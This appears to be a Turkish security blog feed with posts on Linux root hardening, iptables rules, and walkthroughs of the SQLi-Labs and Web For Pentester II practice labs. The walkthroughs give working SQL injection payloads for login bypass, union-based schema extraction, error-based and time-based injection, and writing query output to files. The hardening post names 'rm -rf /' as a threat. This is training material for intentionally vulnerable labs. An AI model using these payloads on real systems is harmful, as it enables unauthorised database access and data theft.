Sistemimize ulaşan bir hacker sudo ile bir işlem yapmak istediği zaman yetki yükseltme buglarından yararlanarak root olabilir ve

 rm -rf /

yaparak sistemimize ciddi ( !? ) hasar verebilir.Ama eğer gerekli önlemleri almış olabilseydik böyle birşey yapamayacaktı.

 

Yapabileceklerimiz

1-) Root kulllancısının shell kullanımını engellemek

Not:Bu işlem DdoS saldırılarında sunucunun fişini çekmekle aynı muameleyi görebilir.
Bunun için ( debian sistemlerde )

nano /etc/passwd

( ironik olarak bu değişim için root kullanıcısına ihtiyacımız var )
yazıp root kullanıcısının veya istediğiniz kullanıcının

son kısmında ki örnek bin/bash olan kısmı

/bin/false

yaparsanız ulaşamayacaktır.

RedHat de ise

/sbin/nologin

şeklinde olacak bir konfigürasyondur.

Selection_003

 

2-)SSH ile root kullanıcısına erişimi engellemek

Bunun için yine

nano /etc/ssh/sshd_config

şeklinde dosyamızı açıyoruz ve CTRL+W şeklinde arayabilirsiniz isterseniz PermitRootLogin değerini No yapıyoruz.

Selection_002

 

3-) Sudoers dosyası düzenlemek

 

Sudoers kullanıcılara komut bazlı filtreleme yapabileceğimiz bir alandır.Visudo harici düzenleme yapmaya kalkarsanız büyük ihtimal hatalara boğulacaksınızdır.O yüzden düzenleme yaparken visudo ile düzenleme yapınız.
Aslında en önemli kısımdır.

Örnek vermek gerekirse mesela bir kullanıcı grubuna bazı komutları engelleyelim.

%admin ( usergroup ) ALL(veya hostname yazabilirsiniz)=(root)NOPASSWD:/usr/bin/apt-get *

Yukarıda ki komutta admin grubunda ki herkese bu komutu kullanması için izin verdik.Bu sayede bu grup harici bu komutları kullanamayacaktır.
Eğer sadece 1 kullanıcıya izin vereceksek

%admin kısmını örnek olarak : 0x656e şeklinde değiştiriyoruz.

Peki ya bir kullanıcının bir programı kullanmasını engelleyeceğiz nasıl yapacağız ?

Mesela wget i engelleyelim.

 %admin ( grubumuzun adı ) ALL=ALL NOEXEC: /usr/bin/wget

 

4-)Bazı komutlarda root kullanıcısı istemek

Mesela bazı komutlar vardır her zaman çalıştırabiliriz ( istisnai lokasyonlar hariç ) örnek olarak rm komutu.Nedir bu komut ? Argüman olarak verdiğimiz klasörü ( -rf ) veya dosyayı siler.

Örnek bir senaryo üzerinden gidersek : web sitesini yapan yazılımcı arkadaş henüz geliştirirken rahat etmek amacıyla /var/www/html klasörünün chmod’unu 777 yapmıştır.Biz öyle birşey yapmalıyız ki bu klasörü root parolası olmadan silemesin ?

Yapmamız gereken şey terminale:

 whereis rm

yazıp rm executable dosyasının konumunu bulmak.

rm: /bin/rm /usr/share/man/man1/rm.1.gz

Bende böyle bir çıktı verdi.

Bu executable dosyanın chmod’unu 700 yapmamız gerekiyor.

sudo chmod 700 /bin/rm

Nurtopu gibi bir hacker savarımız oldu.

Selection_001

Not:İşletim sistemi değişikliğinden dolayı ss’lerde farklılıklar vardır.


TR | Linux Root Güvenliği Enes ERGÜN

]]>
https://canyoupwn.me/tr-linux-root-guvenligi/feed/ 0
TR | IPTables https://canyoupwn.me/tr-iptables/ https://canyoupwn.me/tr-iptables/#respond Wed, 13 Jul 2016 20:40:03 +0000 https://canyoupwn.me/?p=3279 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

IPTables Nedir? Kernel bazında çalışan ağ paketlerini inceleyebileceğimiz müdahalede bulunabileceğimiz,Linux üzerinde çalışan bir güvenlik duvarı( ateş duvarı (firewall))dır.Oldukça kullanışlı bir araçtır kendisi.Linux üzerinde ki hangi tool/yazılım değil ki ? Bilinmesi Gereken Komutlar & Kavramlar. ACCEPT : Gelen giden paketleri kabul etmek için kullanılır. DROP : Gelen giden paketleri düşürmek için kullanılır. REJECT : Gelen giden […]

TR | IPTables Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

IPTables Nedir?

Kernel bazında çalışan ağ paketlerini inceleyebileceğimiz müdahalede bulunabileceğimiz,Linux üzerinde çalışan bir güvenlik duvarı( ateş duvarı (firewall))dır.Oldukça kullanışlı bir araçtır kendisi.Linux üzerinde ki hangi tool/yazılım değil ki ?

iptables

Bilinmesi Gereken Komutlar & Kavramlar.

  • ACCEPT : Gelen giden paketleri kabul etmek için kullanılır.
  • DROP : Gelen giden paketleri düşürmek için kullanılır.
  • REJECT : Gelen giden paketleri reddetmek için kullanılır.Drop’dan farkı kullanıcıya bunun hakkında bilgi verilir.
  • FORWARD : Gelen giden paketleri yönlendirmek için kullanılır.
  • INPUT : Gelen paketler için kullanılır.
  • OUTPUT : Giden paketler için kullanılır.

 

Biraz Pratik

Sıfır bir iptables ayarlarına bir göz atalım isterseniz.

iptables -L -n --line-numbers

iptables2

Tam halini görmek için : defaultrules.txt on github

  1. -L :  Kuralları listeler.
  2. -n : Burada ip ve portlarını bize göstermesini istediğimizi belirtiyoruz.DNS isim çözümlemesi kullanmaz bu yüzden hızlı bir şekilde listeleme yapar.
  3. –line-numbers : Kuralları kural tipine göre satır numaralarıyla birlikte gösterir.

Bir ip adresini drop edelim isterseniz.Şuan elimde web for pentesterın imajı var.Hemen ip almasını sağlayalım.

resim4

Gördüğünüz gibi 192.168.1.42 ip’sini almış.

 

resim5

iptables -I OUTPUT -d 192.168.1.42 -j DROP

Bu kodu şimdi aşama aşama görelim.

  • -I : Insert kelimesinin ilk harfi yani burada kural eklemek istediğimizi söylüyoruz.
  • OUTPUT : Verdiğimiz ip adresine veri gönderimini engellesin.
  • -d : Destination kelimesinin ilk harfidir.Yani hedefi 192.168.1.42 olan paketleri engelle.
  • -j : Jump kelimesinin kısaltması olarak kullanılmış.Kural için hedef gösteriliyor burda.Yani bu kurala uyan paket drop edilsin şeklinde hikayeleştirilebilir sanırım.

Şimdide bir domain engelleyelim isterseniz.

iptables -I OUTPUT -d https://www.canyoupwn.me -j DROP

 

resim6

 

İyi hoş güzel biz engelliyoruz ama lazım oldu bunu kaldırmak istedik o zaman nasıl yapacağız ?

O zaman ilk önce şöyle komut gireceğiz.

iptables -L -n --line-number | grep “ipadresi”

 

Şaka şaka evet bu yöntemi de kullanabilirsiniz ama kurallarınız çoğaldığın da bu bir sorun olacak.

Iptables -L OUTPUT -n --line-number

Bu şekilde eklediğiniz kuralları görebiliyorsunuz.”–line-number” komutunu verdik ki silerken satır satır silmemizde bize kolaylık sağlasın diye.

Silmek için aşağıda ki komut yeterlidir.

iptables -D OUTPUT 1

Kodumuza daha yakından bakalım.

 

  • -D : Delete’in ilk harfi.Yani silmek istediğimizi belirtiyoruz.
  • OUTPUT : Çıkış yapan paketleri engellemek istediğimizi belirtiyoruz.
  • 1 : 1.Numaralı satır demektir.

  resim7

Şu ana kadar hep engellerken -d parametresini kullandık.İsterseniz source’un ilk harfi olan -s i kullanabilirsiniz.Bu da şu anlama gelir.Şöyle örnekle açıklayalım.

iptables -I INPUT -s 192.168.1.42 -j REJECT

 

Burada kaynağı yani bize paket gönderen 192.168.1.42 olur ise onu reddet diyoruz.

 

IPTables ile istersek belirli portalara gelen istekleri veya giden istekleri de engelleyebiliyoruz.Mesela bir şirkette çalıştığımızı düşünelim ve 80 portunun çıkışını engelleyelim ama girişi olsun.

iptables -I OUTPUT -p tcp --dport 80 -j DROP

Bu şekilde engelleyebiliyoruz.Ama bilirsiniz uzak bir ülkede telekom firması da bu şekilde 3 ay boyunca borcunuzu ödemediğiniz takdirde 80 portunu kapatıyordu fakat bir sorun vardı https üzerinden internete ( yavaşda olsa ) çıkabiliyorduk.İşte yukarıda yazdığımız kod ile biz de böyle bir artık açık mı  dersiniz ne dersiniz ona sebebiyet verdik :).Burada –dport yerine –sport da kullanarak source port ( kaynak port ) engelleyebilirsiniz.

Aslında bu şekilde kişisel bilgisayarınızda bir kod ile bunu sağlar iseniz ssl sertifikası olmayan siteye girmemiş olursunuz.

İsterseniz şimdide bize ping atanları engelleyelim ne dersiniz ? Yani sadece ping atmalarını engelleyeceğiz diğer her işlevi yapabilicekler.( Fişi çekmekten iyidir 😛 )

iptables -I INPUT -p icmp --icmp-type echo-reply -j DROP


Eğer bizden bir ping çıkmasın istiyorsanız.

iptables -I OUTPUT -p icmp --icmp-type echo-request -j DROP

 

resim8

 

Genel anlamda aslında iptables ın tüm argümanlarına değindik.Değişek tek şey ip’ler ve protokoller ( tcp / udp ) . Bahsetmediğimiz birkaç şey kaldı bunlarda interface seçmek,load-balancing,time limit ve port yönlendirme.

 

İnterface seçimi :
INPUT interface:

iptables -I OUTPUT -d 192.168.1.43 -i wlan1 -j DROP

 

Kod tamamen örnek amaçlıdır.Burada -i input interface(Paketin alındığı arayüz) anlamına gelir.

OUTPUT interface

iptables -I OUTPUT -d 192.168.1.43 -o wlan1 -j ACCEPT

 

Burada -o output interface ( Paketin gönderildiği arayüz )  anlamına geliyor.

Time-limit:

Bu kodumuzda ise paketlerin alınma veya yollanma sıklığını belirleyebiliyoruz.

Kodumuza şöyle birşey eklerisek yeterli gelicektir.

iptables -m limit --limit sıklık/zaman(Hour veya Second cinsinden )
iptables -m limit --limit 10/5s -j DROP

 

Load-Balancing ( yük dengeleme ) :

Bazı sistemlerde yük dengelemeye ihtiyaç duyulabilir ki duyulması da gerekir aksi takdirde yük dağıtımı olmadığı zaman sistemin çalışmasında sıkıntılar meydana gelecektir.İşte bu gibi durumlar içinde iptables da argümanlarımız bulunuyor.

iptables -I PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.1 

iptables -I PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.2

Burada hedefi 80 olan tüm paketleri iki sunucu arasında paylaştırdık.

Port yönlendirme :

iptables -t NAT -I PREROUTING -p tcp -d 192.168.1.5 --dport 500 -j DNAT --to 192.168.1.100:300

Burada -t argümanı table ( tablo ) dan gelmektedir.Yani nat tablosuna ekliyoruz bu kuralı.

Burada hedefi 192.168.1.5:500 olan bir isteği 192.168.1.100:300 e yönlendirdik.



Herhangi bir yerde hata görürseniz bildirmekten çekinmeyiniz teşekkür ederim.


 

TR | IPTables Enes ERGÜN

]]>
https://canyoupwn.me/tr-iptables/feed/ 0
TR | Sql-i Labs Walkthrough Series 10-15 https://canyoupwn.me/sql-i-labs-walkthrough-series-10-15/ https://canyoupwn.me/sql-i-labs-walkthrough-series-10-15/#respond Fri, 24 Jun 2016 07:29:28 +0000 https://canyoupwn.me/?p=2988 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

SQL-i Labs 10-15 Merhaba arkadaşlar , bu yazı dizimizde 10-15. alıştırmaları göreceğiz. Bizim için işler artık biraz zorlaşıcak gibi o yüzden kahvelerinizi eksik etmeyin 🙂 Uyarı : Burada yapılan çoğu uygulama belki gerçek hayatta karşınıza bu şekilde kabak(başka hangi kelime ile bu kadar güzel ifade edilir ) gibi çıkmayacaktır.Alıştırmalar tamamen experience ( deneyim ) kazanma […]

TR | Sql-i Labs Walkthrough Series 10-15 Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

SQL-i Labs 10-15

Merhaba arkadaşlar , bu yazı dizimizde 10-15. alıştırmaları göreceğiz.

Bizim için işler artık biraz zorlaşıcak gibi o yüzden kahvelerinizi eksik etmeyin 🙂

Uyarı : Burada yapılan çoğu uygulama belki gerçek hayatta karşınıza bu şekilde kabak(başka hangi kelime ile bu kadar güzel ifade edilir ) gibi çıkmayacaktır.Alıştırmalar tamamen experience ( deneyim ) kazanma üzerine kuruludur.

Önce ki yazılara ulaşmak için :

TR | SQL-i Labs Walkthrough Basic 0-5

TR | SQL-i Labs Series Walkthrough Basic 6-10

Öncelikle şunu da söylemek istiyorum.Yine bir önceki yazılarımızda olduğu gibi sadece bypass yöntemlerini göstereceğiz ve diğer levele geçeceğiz.Siz isterseniz bütün tabloları çekmeye çalışabilirsiniz.Takdir edersiniz ki bütün levellerde bunu yaparsak bizden önce yazıyı okurken siz sıkılırsınız 🙂

Anlaştıysak başlayalım.

Level 11 :

Daha önceki levellerimize bakarak burada karşımıza bir login ekranı çıkıyor.Burada bizim bir şekilde buraya login olmamız gerekiyor.Bu konuda bizim en basit payload’ımız neydi ?

"or 1=1 ---+

Bi deneyelim hmmm işe yaramadı sanırım.Neyse biz sadece username kısmına tek tırnak çift tırnak atarak hata verdirmesini sağlayalım.Tek tırnak attığınızda aşağıda ki hatayı alacaksınız.
resim1

O zaman bizde payload’ımızı tek tırnak ile deneyelim.

' or 1=1 --+

Bu şekilde girdiğinizde uygulamaya bir şekilde login olduk.Olma sebebimize gelirsek eğer

1=1 eşitliği her zaman True döndüreceğinden dolayı bizi sisteme dahil etti.

Yani şöyle düşünün oraya gerçek bir username password yazsaydık ve bu doğru olsaydı şu şekilde bir operatör ile doğruluğu kontrol edilecekti.

eğer username=cypm and password=123456 == True
yazdır 'Giriş başarılı.'
değilse
yazdır ' Giriş başarılı değil.'

resim2

Level 12:

Bu levelimizde ismine bakarsak aslında 11.level ile aynı tek farkı çift tırnak koymamız olacak fakat bunu aşağıda ki şekilde denediğimizde başarılı bir şekilde login olamıyoruz.

 " or 1=1 --+

Bu kısımda tamamen doğaçlama yaparak sql sorgusunun hata verebilmesi için

'"  (Tek tırnak + Çift Tırnak )

payloadını kullanarak hata verdirdim.
resim3
Ve orada gördüm ki parantez işaretleri bulunuyor.Yani bu demek oluyor ki kapatmamız gereken bir parantezimiz var.( Şuan belkide alıştırma dışına çıkmış bile olabiliriz )Hemen aşağıda ki payload’ı girdim.

")or 1=1 #

Ve okus pokus septimus severus ( kendisi roma imparatorudur bu arada )
resim4

Level 13 :

Geldik Double injection olan kısıma normal bir insan olsak burada kurallara , yönergelere uyarak çift sorgu ile bir şekilde bu leveli bypass edip geçmeyi düşünürdük.Değil mi ?

Ama biz normal miyiz ? Duyamadım ? Evet değiliz.

O yüzden double injection niye yazalım ki ?

Hemen yine sql sorgumuza error verdirtelim.
resim5
Gördüğünüz gibi buradada bir parantez var ve bunu kapatmalıyız.Bu arada hatayı

"'

ile verdirttim.

Hemen payloadımızı girelim ve sonuca arkamıza yaslanarak bakalım.

')or 1=1 #

resim6

Yaşasın HackerMind!

Level 14 :

Bu level de de double injection isteniyor fakat ben yine niye uğraşayım ki double injection ile ?

Tabi enes durur mu yapıştırmış payload’ı

"or 1=1 #

resim7

Level 15:

Bu levelimizde Boolian based yani Bool ifade ile giriş yapmamız isteniyor.Nedir bool ifade ?
Türkçe olarak düşündüğümüzde Doğru ve Yanlış.

Yabancılarda ise True ve False şeklinde.

Detaylı açıklama için : https://tr.wikipedia.org/wiki/Boole%27ca

Yani burada yapmamız gereken aslında level 11 de ki gibi

giriceğimiz bir ifadenin bize True döndürmesi gerekiyor.O yüzden bizim en basit true döndüren payloadımız nedir ?
1 = 1’dir.

O zaman payloadımızı yazalım.

" or 1=1 #

Veeeee aman Allah’ım o da ne ? Login olamadık.

resim8

Demek ki neymiş ? Ezbere gitmeyecekmişiz mantığını öğrenecekmişiz.Birde bana güvenmeyecekmişsiniz 🙂

Burada ki payload’ımız yukarıda ki payload değil aşağıdakidir.

' or 1=1 #

resim9

Not:Ne sizin ne de benim yazıyı okurken/yazarken sıkılmamanız için karşılıklı dialog şeklinde ve biraz laubali şekilde yazmış olabilirim.Eğer bu konu hakkında eleştiriniz vs. var ise yorum atabilir veya mail gönderebilirsiniz.

Bir daha ki yazımızda görüşmek üzere.

TR | Sql-i Labs Walkthrough Series 10-15 Enes ERGÜN

]]>
https://canyoupwn.me/sql-i-labs-walkthrough-series-10-15/feed/ 0
TR | SQL-i Labs Series Walkthrough Basic 6-10 https://canyoupwn.me/sql-i-labs-walkthrough-basic-6-10/ https://canyoupwn.me/sql-i-labs-walkthrough-basic-6-10/#respond Wed, 08 Jun 2016 20:16:36 +0000 https://canyoupwn.me/?p=2594 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar daha önce 0-5 level arasını şurada ki linkte paylaşmıştık. TR | SQL-i Labs Walkthrough Basic 0-5 Bugün ise bir seri şeklinde 6-10 level arasını birlikte çözeceğiz. Level 6 : Bu levelimiz aslında level 5 ile aynı tek farkı ” ‘ ” kullanmak yerine ” ” ” kullanmamız. Level 5 için : https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5 1"+and(select 1 […]

TR | SQL-i Labs Series Walkthrough Basic 6-10 Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar daha önce 0-5 level arasını şurada ki linkte paylaşmıştık.

TR | SQL-i Labs Walkthrough Basic 0-5

Bugün ise bir seri şeklinde 6-10 level arasını birlikte çözeceğiz.
Level 6 :

Bu levelimiz aslında level 5 ile aynı tek farkı ” ‘ ” kullanmak yerine ” ” ” kullanmamız.

Level 5 için : https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5

1"+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --+

resim1
Level 7 :
Bu levelde bizden sorgularımızı biz dosyaya aktarmamızı istiyor.Aslında buna mecbur bırakıyor yoksa biz tabi ki basit yolu seçmeyi isteriz.
Burada ki payloadımızda ilk baş bi tek tırnak ile deneme yapalım isterseniz.Biz tek tırnak attığımızda hata vericektir.Doğru bir yolda gidiyor gibi duruyoruz.

select * into dumpfile "hebelehubele.sql"

Bizde şu sorguyu gerçekleştiriyoruz.

1'union select 1,2,3 into dumpfile "hebelehubele.txt"

resim2

Yukarıda ki sorguyu kullandığımızda bize hiç bir çıktı vermediğini görüyoruz.Demek ki bi yerlerde hata yapıyoruz.Evet hatanın sebebini buldum fakat bunu deneme yanılma yöntemiyle değil hileye başvurarak buldum.
Nedir bu hile ? : Kaynak kodlarına bakmak.Gerçekte böyle bir senaryo ile karşılaştığınızda bu imkanınız elinizde bulunamayabilir.

Burada sitenin sorgusunun içinden aşağıda ki şekilde çıkmamız gerekiyor.

1')) sorgunuz

Bu şekilde sorgu içinden çıktıktan sonra artık sorgu sonucunu bir dosyaya yazdırabiliriz.

1'))union select 1,2,3  into dumpfile "/tmp/mirkelam.txt"--+

resim3

Level 8 :

İlk önce tek tırnak atalım.Gördüğünüz gibi you are in yazısı kayboldu.

resim4

Şimdi burada amacımız burada sql injection olduğunu kanıtlamak.Bunun içinde sorgu denemeleri yapıcaz ve sorguyu kontrol edebiliyor muyuz ? Bunu kontrol edicez.

1'and 1=1 --+

resim5

Yaptığımızda bize yine you are in yazısını göstericek.Belki kod da bi yanlışık vardır sorguyu yine kontrol edebiliyor muyuz deneyelim.

1'and 1=2 --+

Yukarıda ki payload’ı girdiğimizde you are in yazısı yine kayboldu demek ki neymiş biz sorguyu kontrol edebiliyormuşuz.
resim6

Level 9 :

.

Level 8 e benzer bir yapısı var bu levelinde tek farkla level 8 de 199 gibi id ler girdiğimizde bize hiç bir text dönmüyordu.Fakat level 9 da bu şekilde değil.

?id=500000

yazarsanız hala aynı şekilde durduğunu göreceksiniz.

Burada yine körlemesine dalıyoruz ve şu payloadı yazıyoruz.

?id=1'and sleep(10) --+

Bu payload ı yazıp enterladığınızda sayfa 10 saniye kadar ( fazlada olabilir emin olamadım şimdi 🙂 ) beklemeye geçicek bu da ne demektir ? Burada sql injection var demektir.

resim7

Level 10 :
Bu levelimiz level 9 ile aynıdır.Tek fark ” ‘ ” yerine ” “(çift tırnak) ” kullanıyor oluşumuz.

Payloadımız

1"and sleep(10) --+

resim8

TR | SQL-i Labs Series Walkthrough Basic 6-10 Enes ERGÜN

]]>
https://canyoupwn.me/sql-i-labs-walkthrough-basic-6-10/feed/ 0
TR | SQL-i Labs Walkthrough Basic 0-5 https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5/ https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5/#respond Thu, 19 May 2016 23:56:43 +0000 https://canyoupwn.me/?p=2379 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Sqli – Lab Nedir ? Sqli lab diğer egzersiz ortamlarına nazaran sadece sql injection üzerine odaklanmış bir egzersiz ortamıdır. Öncelikle bu ortama ulaşmak için : https://github.com/Audi-1/sqli-labs Yukarıda ki adresden indirmek için git clone https://github.com/Audi-1/sqli-labs.git Komutunu kullanabilirsiniz.(Bağımlılık olarak git kurulması gereklidir.) Veya wget --no-check-certificate https://github.com/Audi-1/sqli-labs.git Komutunu kullanabilirsiniz. Daha sonra db-credits.inc dosyasının içinde ki kendi mysql user,password […]

TR | SQL-i Labs Walkthrough Basic 0-5 Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Sqli – Lab Nedir ?
resim1
Sqli lab diğer egzersiz ortamlarına nazaran sadece sql injection üzerine odaklanmış bir egzersiz ortamıdır.
Öncelikle bu ortama ulaşmak için : https://github.com/Audi-1/sqli-labs
Yukarıda ki adresden indirmek için

git clone https://github.com/Audi-1/sqli-labs.git

Komutunu kullanabilirsiniz.(Bağımlılık olarak git kurulması gereklidir.)
Veya

wget --no-check-certificate https://github.com/Audi-1/sqli-labs.git

Komutunu kullanabilirsiniz.

Daha sonra db-credits.inc dosyasının içinde ki kendi mysql user,password kısımlarını düzeltiniz.
Daha sonra tarayıcınızdan girip Setup/Reset database for labs linkine tıklayarak kurulumu tamamlayabilirsiniz.Eğer herhangi bir sorun ile karşılaşırsanız çekinmeden [email protected] adresine mail atabilirsiniz.

Not : Bu yazımızda ilk 10 levele değineceğiz.Sadece ilk level de son kısıma kadar gideceğim ve geri kalan levellerde sadece payloadı vereceğim.

SQLi-Labs Page 1 ( Basic )

Sqli Labs 1 :

Bu levelin isminden anlayabiliceğimiz gibi hata bazlı bir enjeksiyon gerçekleştireceğiz.
Ben bu levelde ?id=1 kısmından sonra tek tırnak ile hata vermeye zorladım ve bize hatayı verdi.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-1'' LIMIT 0,1' at line 1

Bu kısımdan sonra

?id=1'order by 6

gibi kodlarını girdiğimizde herhangi bir işe yaramadığını bizzat deneyimledim.Hatta baya uğraştım diyebiliriz 🙂

?id=1'order+by+6# veya ?id=1'order+by+6--+

gibi payloadlar bir işimize yaramadı.
Not : 6 sayısı tamamen sallamasyon sayıdır itibar etmeyiniz.

resim2

Bende payload sonuna sıkça kullanılan –+ karakter setini girdim ve order by komutunu yavaş yavaş artırdım.

?id=1'order by 4 --+

resim3

Yukarıda ki resim de order by kullanarak 4.kolon da hata aldık.Order by ile ilgili trickimiz neydi ? Hangi sayıda hata veriyorsa mantıken -1 kolon sayısını çekecektir.

Artık 3 kolon çektiğini bildiğimize göre şu sıralamaya uyarak ilerleyebiliriz.

Toplam kolon sayısını bulma.
Vulnerable kolonları ekrana bastırma.
Vulnerable kolonlar sayesinde gerekli bilgileri çekmek.

Şimdi vulnerable(zaafiyet barındıran) kolonları ekrana yansıtalım.

bunun için aşağıda ki payload’ı kullanıyoruz.

?id=-1'union select 1,2,3 --+

resim4

Burada union operatörüyle yazıcağımız sql kodlarının hangi kısıma yazacağımızı görüyoruz.Yani aşağıda ki gibi bir kod yazdığımızı düşünürsek

?id=1'union select 1,bizimsqlkodumuz,bizimsqlkodumuz

Hadi şimdi işleri biraz heyecanlandıralım.Database ve user’ı çekelim.

?id=-1'union select 1,database(),user()

resim5

Gördüğünüz gibi database ismimiz security , kullanıcımız ise root@localhost

Burada -1 kullanmamızın nedeni 1 idsine sahip bir verimiz var ve sadece onu gösteriyor eğer -1 yapmazsak veriyi çeksekte ekrana bastırmıyor.

Şimdi de tablo isimlerimizi çekelim.

Bunun için payloadımız

-1'union select 1,group_concat(table_name),3 from information_schema.tables--+

resim6

Eğer burada group_concat yerine

-1'union select 1,table_name,3 from information_schema.tables--+

bu şekilde bir payload kullansaydık bize sadece tek bir tablo ismini verecekti.Örnek :

resim7

Şimdi de sütunlarımızı çekelim

?id=-1'union+select+1,group_concat(column_name),3+from+information_schema.columns--+

resim8

Gördüğünüz gibi fazlaca tablo ve sütun bulunuyor.O zaman ne yapalım ? Şuan bulunduğumuz tabloda ki sütunları çekelim değil mi ?

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()--+

resim9
Gördüğünüz gibi tablomuzda ki sütunlar bunlar.
Aynı şekilde tablo isimlerini de bu şekilde çekebilirsiniz.

?id=-1'union select 1,group_concat(table_name),3 from information_schema.columns where table_schema=database()

resim10

Username , password kısımlarını id girerek gördüğümüz için gerikalan kısımlarını pas geçiyoruz.

 

Level 2:

Bu level ile ilgili :

Bir çok kaynakta

?id=1 ;

şeklinde bir payload yazılmış fakat

Bizim

?id=1 --+

kodumuz da işe yarayacaktır.Nasıl da sahiplendik hemen son bükücümüzü 🙂

resim11

-1 union select 1,2,3 --+

 

Level 3:

Bu level şu ana kadar gördüklerimizden biraz farklı bu levelde arkaplanda ki sql kodlarımızda

Aşağıdakine benzer bir kod çalışıyor.

select * from users where userid=(getrequest) \\ Tahminidir.

resim12
Burada yapmamız gereken şey “(” işaretini “)” işareti ile bypass edip kendi kodlarımızı çalıştırmak olmalı.Bende bunun için şöyle birşey denedim.

-1')union+select+1,2,3 --+

resim13
Şimdi bu kısımda açıklama gereği duyuyorum.

select * from users where userid=('getrequest')' limit 0,1 \\ Tahminidir.

Yukarıda ki kodu “)” karakteri ile aşağıda ki hale getirmiş olduk.

select * from users where userid=('')union select 1,2,3

Level 4 :

Bu levelde yapmamız gereken şey aslında bir önceki level ile aynı fakat burada Single Quotes ( ‘ ) yerine bu kısımda Double Quates ( ” ) kullanmamız.

Payloadımız :

?id=-1")union+select+1,2,3 --+

resim14

Level 5 :

İşte belki de en komplike levelimize geldik.Bu levelde adından anlaşılacağı gibi bu levelde 1 sorguda iki sorgu çalıştıracağız.Hemen aklınıza or veya and operatörleri gelmesin biraz daha komplike çünkü adeta bir inception gibi injection yapacağız.

resim15

1'+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --+

Üst kısımda gördüğünüz gibi and ile birlikte select komutu daha sonra from kısmında ise iç içe select komutlarını giriyoruz.Burada aslında security adlı database’i ( veritabanı ( bunu burada neden ayrı bir parantez ile belirttim bilmiyorum ama konuya çok uygun oldu ) ) çekip bunu 0,1 ile limitleyip daha sonra 2 ile çarpıp yuvarlama yapıyoruz.Aslında kod kalabalığından başka birşey değil fakat engellemeyi aşmak için böyle bir yönteme başvuruyoruz.Anlamadınız değil mi ? Bende anlamamıştım beyin baya bir overload olmuş(tu).

TR | SQL-i Labs Walkthrough Basic 0-5 Enes ERGÜN

]]>
https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5/feed/ 0
TR | Web For Pentester 2 SQLi https://canyoupwn.me/web-for-pentester-2-sqli/ https://canyoupwn.me/web-for-pentester-2-sqli/#respond Wed, 04 May 2016 08:09:21 +0000 https://canyoupwn.me/?p=1971 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Selamlar,daha önce WFP I ( Web For Pentester I ) egzersizlerine bakmıştık.Yine aynı ekip tarafından oluşturulmuş harika bir egzersiz serisi bulunuyor. Web For Pentester II Birinci egzersizlere göre biraz daha farklı konular bulunuyor. Burada gördüğünüz gibi aslında konularımız biraz daha zorlaşmış,farklılaşmış.(WFP I’e göre) Bu yazımızda SQL Injection bölümünü ele alacağız. Birinci yazımızın linki : https://canyoupwn.me/wfp-i-sqli/ […]

TR | Web For Pentester 2 SQLi Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Selamlar,daha önce WFP I ( Web For Pentester I ) egzersizlerine bakmıştık.Yine aynı ekip tarafından oluşturulmuş harika bir egzersiz serisi bulunuyor.
Web For Pentester II

Birinci egzersizlere göre biraz daha farklı konular bulunuyor.

Selection_009

Burada gördüğünüz gibi aslında konularımız biraz daha zorlaşmış,farklılaşmış.(WFP I’e göre)

Bu yazımızda SQL Injection bölümünü ele alacağız.

Birinci yazımızın linki : https://canyoupwn.me/wfp-i-sqli/

Bu yazımızda da farklı olarak sadece bypass yöntemlerini anlatacağız.Biraz da sizin taşın altına elinizi koymanızı bekleyeceğiz. 🙂

Level 1 :

Birinci levelimiz biraz basit bir işlem ile bypass edilebiliyor.

'or '1'='1

Selection_010

Burada sql bypass kodumuz başarıyla çalıştığı ve 1=1 her zaman True döndürdüğü için başarıyla giriş yapabiliyoruz.

Level 2:

Bu kısım da ise sql kodumuzu sınırlandırmamız gerekiyor.Çünkü geri döndürülen veri kısıtlanmış.Bu yüzden eğer sınırlandırmazsak bir işe yaramıyor.

' or 1=1 LIMIT 1 #

Selection_011

Level 3 :

Bu level biraz karışık gelebilir.Şöyle:

Bu kısımda username kısmında ki tek tırnak ( ‘ ) karakterini kaçış karakteri ile ( \ ) içerisine password kısmını almasını sağladık.
Daha sonra password kısmımıza ise en basit bypass yöntemimizi yazdık.
Username kısmı :

selam\

Password kısmı :

'or+1=1 #

Selection_012

Level 4 :

Bu kısımda adres çubuğu kısmında yazan string’e göre bize database üzerinden veri getiriyor.Yani aslında ne yazarsak bize onun kullanıcı adını getirecek.

'h'or 1=1

Selection_013

Yukarıda ki bypass yöntemimizi yazarak tüm kayıtları karşımıza getirebiliriz.

Burada bize sadece bu bilgiler lazım olmayacağı için

1.yazımız da ki ilk levelin bypassdan sonra ki işlemleri uygulayabilirsiniz.

Link : https://canyoupwn.me/wfp-i-sqli/
